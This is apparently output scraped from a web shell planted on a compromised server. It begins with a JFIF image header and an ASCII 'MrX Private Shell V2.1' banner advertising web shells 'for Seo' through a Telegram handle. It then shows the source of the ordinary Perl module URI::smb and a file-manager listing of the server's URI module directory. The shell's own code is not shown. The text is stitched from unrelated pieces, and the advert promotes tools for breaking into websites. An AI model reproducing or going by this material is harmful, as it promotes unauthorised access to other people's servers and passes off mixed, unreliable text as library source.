����JFIF���������
__ __ __ __ _____ _ _ _____ _ _ _ | \/ | \ \ / / | __ \ (_) | | / ____| | | | | | \ / |_ __\ V / | |__) | __ ___ ____ _| |_ ___ | (___ | |__ ___| | | | |\/| | '__|> < | ___/ '__| \ \ / / _` | __/ _ \ \___ \| '_ \ / _ \ | | | | | | |_ / . \ | | | | | |\ V / (_| | || __/ ____) | | | | __/ | | |_| |_|_(_)_/ \_\ |_| |_| |_| \_/ \__,_|\__\___| |_____/|_| |_|\___V 2.1 if you need WebShell for Seo everyday contact me on Telegram Telegram Address : @jackleetFor_More_Tools:
package URI::smb;
use strict;
use warnings;
use parent 'URI::_login';
our $VERSION = '5.34';
sub default_port { 445 }
sub user {
my $self = shift;
my $new = shift;
my ($user, $authdomain) = _parse_user($self->SUPER::user());
if ($new) {
$self->SUPER::user($authdomain ? "$authdomain;$new" : $new);
$user = $new;
}
return $user;
}
sub authdomain {
my $self = shift;
my $new = shift;
my ($user, $authdomain) = _parse_user($self->SUPER::user());
# it must not be possible to set authdomain without user
if ($user && $new) {
$self->SUPER::user("$new;$user");
$authdomain = $new;
}
return $authdomain;
}
sub sharename {
return (shift->path_segments)[1];
}
sub _parse_user {
my $input = shift or return;
my ($authdomain, $user) = split ';', $input, 2;
return $user ? ($user, $authdomain) : $authdomain;
}
1;
__END__
=head1 NAME
URI::smb - Samba/CIFS URI scheme
=head1 SYNOPSIS
my $uri = URI->new('smb://authdomain;user:password@server/share/path');
=head1 DESCRIPTION
This module implements the (unofficial) C<smb:> URI scheme described in L<http://www.ubiqx.org/cifs/Appendix-D.html>.
=head1 SUBROUTINES/METHODS
=head2 default_port
The default port for accessing Samba/Windows File Servers is 445
=head2 user
Get or set the user part of the URI (without the authdomain)
=head2 authdomain
Get or set the authentication authdomain part of the URI. This value is only available if the user is already set.
=head2 sharename
Helper method to get the share name from path
=head1 DEPENDENCIES
None
=head1 BUGS AND LIMITATIONS
See L<URI|URI#BUGS>
=head1 SEE ALSO
L<http://www.ubiqx.org/cifs/Appendix-D.html>
=head1 AUTHOR
I. M. Bur <github@lty.cz>
=head1 LICENSE AND COPYRIGHT
This program is free software; you can redistribute it and/or modify it
under the terms of either: the GNU General Public License as published
by the Free Software Foundation; or the Artistic License.
See L<http://dev.perl.org/licenses/> for more information.
| Name | Type | Size | Permission | Actions |
|---|---|---|---|---|
| file | Folder | 0755 |
|
|
| urn | Folder | 0755 |
|
|
| Escape.pm | File | 7.73 KB | 0444 |
|
| Heuristic.pm | File | 6.47 KB | 0444 |
|
| IRI.pm | File | 794 B | 0444 |
|
| QueryParam.pm | File | 655 B | 0444 |
|
| Split.pm | File | 2.3 KB | 0444 |
|
| URL.pm | File | 5.36 KB | 0444 |
|
| WithBase.pm | File | 3.77 KB | 0444 |
|
| _emailauth.pm | File | 1.23 KB | 0444 |
|
| _foreign.pm | File | 107 B | 0444 |
|
| _generic.pm | File | 6.66 KB | 0444 |
|
| _idna.pm | File | 2.03 KB | 0444 |
|
| _ldap.pm | File | 3.17 KB | 0444 |
|
| _login.pm | File | 231 B | 0444 |
|
| _punycode.pm | File | 5.5 KB | 0444 |
|
| _query.pm | File | 4.74 KB | 0444 |
|
| _segment.pm | File | 416 B | 0444 |
|
| _server.pm | File | 3.79 KB | 0444 |
|
| _userpass.pm | File | 1.01 KB | 0444 |
|
| data.pm | File | 3.31 KB | 0444 |
|
| file.pm | File | 9.46 KB | 0444 |
|
| ftp.pm | File | 1.06 KB | 0444 |
|
| ftpes.pm | File | 150 B | 0444 |
|
| ftps.pm | File | 175 B | 0444 |
|
| geo.pm | File | 10.5 KB | 0444 |
|
| gopher.pm | File | 2.37 KB | 0444 |
|
| http.pm | File | 425 B | 0444 |
|
| https.pm | File | 144 B | 0444 |
|
| icap.pm | File | 1.46 KB | 0444 |
|
| icaps.pm | File | 1.41 KB | 0444 |
|
| irc.pm | File | 3.64 KB | 0444 |
|
| ircs.pm | File | 142 B | 0444 |
|
| ldap.pm | File | 2.86 KB | 0444 |
|
| ldapi.pm | File | 440 B | 0444 |
|
| ldaps.pm | File | 144 B | 0444 |
|
| mailto.pm | File | 1.62 KB | 0444 |
|
| mms.pm | File | 125 B | 0444 |
|
| news.pm | File | 1.42 KB | 0444 |
|
| nntp.pm | File | 127 B | 0444 |
|
| nntps.pm | File | 144 B | 0444 |
|
| otpauth.pm | File | 8.35 KB | 0444 |
|
| pop.pm | File | 219 B | 0444 |
|
| rlogin.pm | File | 129 B | 0444 |
|
| rsync.pm | File | 207 B | 0444 |
|
| rtsp.pm | File | 125 B | 0444 |
|
| rtspu.pm | File | 126 B | 0444 |
|
| scp.pm | File | 97 B | 0444 |
|
| sftp.pm | File | 98 B | 0444 |
|
| sip.pm | File | 1.63 KB | 0444 |
|
| sips.pm | File | 143 B | 0444 |
|
| smb.pm | File | 2.02 KB | 0444 |
|
| smtp.pm | File | 237 B | 0444 |
|
| snews.pm | File | 172 B | 0444 |
|
| ssh.pm | File | 175 B | 0444 |
|
| telnet.pm | File | 128 B | 0444 |
|
| tn3270.pm | File | 128 B | 0444 |
|
| urn.pm | File | 2.03 KB | 0444 |
|
| ws.pm | File | 1.14 KB | 0444 |
|
| wss.pm | File | 1.18 KB | 0444 |
|